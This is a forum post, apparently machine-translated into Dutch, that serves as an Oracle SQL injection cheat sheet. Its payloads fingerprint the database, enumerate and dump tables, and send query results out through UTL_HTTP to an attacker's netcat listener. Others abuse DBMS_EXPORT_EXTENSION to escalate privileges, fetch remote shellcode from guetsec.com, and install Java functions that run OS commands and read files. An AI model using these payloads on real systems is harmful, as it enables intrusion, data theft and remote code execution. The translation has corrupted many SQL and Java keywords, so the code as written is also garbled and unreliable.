Dit bericht is voor het laatst bewerkt door test op 24-1-2015 13:01
Opmerking: -- Meervoudige zinnen uitvoering wordt niet ondersteund, en gefedereerde queries worden ondersteund Databasenamen, tabelnamen en kolomnamen worden allemaal met hoofdletters geschreven.
lengte(veld) ascii(substr(veld, N, 1))
en (selecteer aantal(*) uit dual)>0 -- Bepaal of het orakel is of niet
volgorde door n--
en 1=2 unieselectie null, null,.....,null uit dual-- vervang null door N of 'N'
en 1=2 union select null, (sql-instructie) ,.....,null van dual -- wijziging naar (sql-statement) op 'N'
en (selecteer aantal(*) uit all_objects waarbij object_name='UTL_HTTP')>0 -- Bepaal of de UTL_HTTP wordt ondersteund (het export-IP is bekend)
en UTL_HTTP.request('http://LocalIP:port'|| (SQL-instructie)) =1-- Berichten op afstand verzenden naar lokal, lokaal luisteren nc -vv -l -p 1234
SQL-statements Selecteer banner uit sys.v_$version waarbij rownum=1 om de oracleversie te bevragen selecteer lid uit v$logfile waarbij rownum=1 Het logbestandpad opvragen (Windows of Linux) selecteer utl_inaddr.get_host_address vanuit dual om het database listening IP te bevragen Selecteer instance_name van v$instance om de sid te bevragen selecteer naam uit v$database Zoek de huidige databasenaam op Selecteer sys_context ('userenv', 'current_user') uit Dual Query database Users Selecteer * uit session_roles waar rownum=1 om de huidige gebruikersrechten te bevragen Selecteer * uit session_roles waar rownum=1 [en rol<>'eerste toestemmingsnaam']
selecteer table_name uit user_tables waarbij rownum=1 Het eerste tabelsegment van de huidige database selecteer table_name||','|| tablespace_name van user_tables waarbij rownum=1 Eerste tabelsegment, database (voor verificatie is het mogelijk niet v$database) selecteer table_name uit user_tables waarbij rownum=1 en table_name<>'eerste tabelsegment' Het tweede tabelsegment van de huidige database
selecteer column_name uit user_tab_columns waarbij rownum=1 en table_name='Tabel Segment' Het eerste veld dat overeenkomt met de tabelnaam selecteer column_name uit user_tab_columns waarbij rownum=1 en table_name='Tabelsegment' en column_name<>'Eerste veld' Het tweede veld dat overeenkomt met de tabelnaam
Selecteer een veld uit het tabelsegment waarbij rownum=1 de inhoud van de eerste regel schendt Selecteer veld uit het tabelsegment waarbij rownum=1 en veld <> 'eerste regel inhoud' de inhoud van de tweede regel blootleggen
Cross-bibliotheek Selecteer eigenaar uit all_tables waarbij rownum=1 de eerste databasenaam opzoekt selecteer eigenaar uit all_tables waarbij rownum=1 en eigenaar<> 'Eerste databasenaam' om de tweede databasenaam op te vragen
selecteer table_name uit all_tables waarbij rownum=1 en owner='database name' De eerste tabelnaam van de overeenkomstige database opzoeken. Selecteer table_name uit all_tables waarbij rownum=1 en owner='database name' en table_name<>'eerste tabelnaam' om de tweede tabelnaam van de bijbehorende database op te vragen
selecteer column_name uit all_tab_columns waarbij rownum=1 en owner='databasenaam' en table_name='table segment' Het eerste veld dat overeenkomt met de tabelnaam selecteer column_name uit all_tab_columns waarbij rownum=1 en owner='databasenaam' en table_name='tabelsegment' en column_name<>'eerste veld' Het tweede veld dat overeenkomt met de tabelnaam
Selecteer een veld uit de database. tabelsegment waarbij rownum=1 de inhoud van de eerste regel schendt Selecteer een veld uit de database. Het tabelsegment waarbij rownum=1 en veld <> 'First Line Content' de inhoud van de tweede rij schenden.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); meervoudige statements END; --','SYS',0,'1',0)--
Als 'is escaped, wordt chr() gebruikt.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Als meerdere zinnen te lang zijn, kun je de statement naar het websitebestand schrijven en utl_http.request gebruiken om het op te halen.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Maak een JAVA-pakket SecTest aan runCMD wordt gebruikt om systeemcommando's uit te voeren en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK UITVOEREN'' VERKLAAR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' creëer, vervang en compileer de java-bron genaamd "SecTest" als import java.io.*; publieke klasse SecTest zet Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; terwyl((stemp=mijnReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Uitzondering e){return e.toString(); }}}''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
readFile wordt gebruikt om het bestand te lezen en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK UITVOEREN'' VERKLAAR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' creëer, vervang en compileer de java-bron genaamd "SecTest" als import java.io.*; publieke klasse SecTest verlengt Object{publieke statische String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; terwyl((stemp=mijnReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Uitzondering e){return e.toString(); }}}''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
Java-rechten verlenen en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT '''' begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE BESTANDEN>>'''''''',''''''''uitvoeren''''''''); einde; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
Maak een functie SecRunCMD-functie en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT ''''', maak of vervang functie SecRunCMD(p_cmd in varchar2) geef varchar2 terug als taal javanaam''''''''SecTest.runCMD(java.lang.String) geef String terug'''''''' ; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
SecReadFile-functie en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT ''''' create or replace function SecReadFile (bestandsnaam in varchar2) returneren varchar2 als taal java-naam''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
Verleen toestemming om de publieke functie uit te voeren SecRunCMD krijgt toestemming verleend en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK ''''geef alles op SecRunCMD aan het publiek'''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
SecReadFile en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK ''''verleen alles op SecReadFile aan het publiek''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
Detecteert of de functie succesvol is aangemaakt en (selecteer aantal(*) uit all_objects waar object_name='SECRUNCMD')>0-- en (selecteer telling(*) uit all_objects waar object_name='SECREADFILE')>0--
Voer het commando uit en '1'<>(selecteer systeem. SecRunCMD('Execute-commando') van dual)-- en '1'<>(selecteer systeem. SecReadFile('bestands fysiek adres') van dual)-- of en 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null van dual-- en 1=2 union select null,...,sys. SecReadFile('file physical address'),...,null van dual-- of en '1'<>(selecteer UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) van dual)-- en '1'<>(selecteer UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) van dual)--
Verwijderfunctie en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK '''''dropfunctie SecRunCMD''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)-- en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''''drop-functie SecReadFile''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)-- |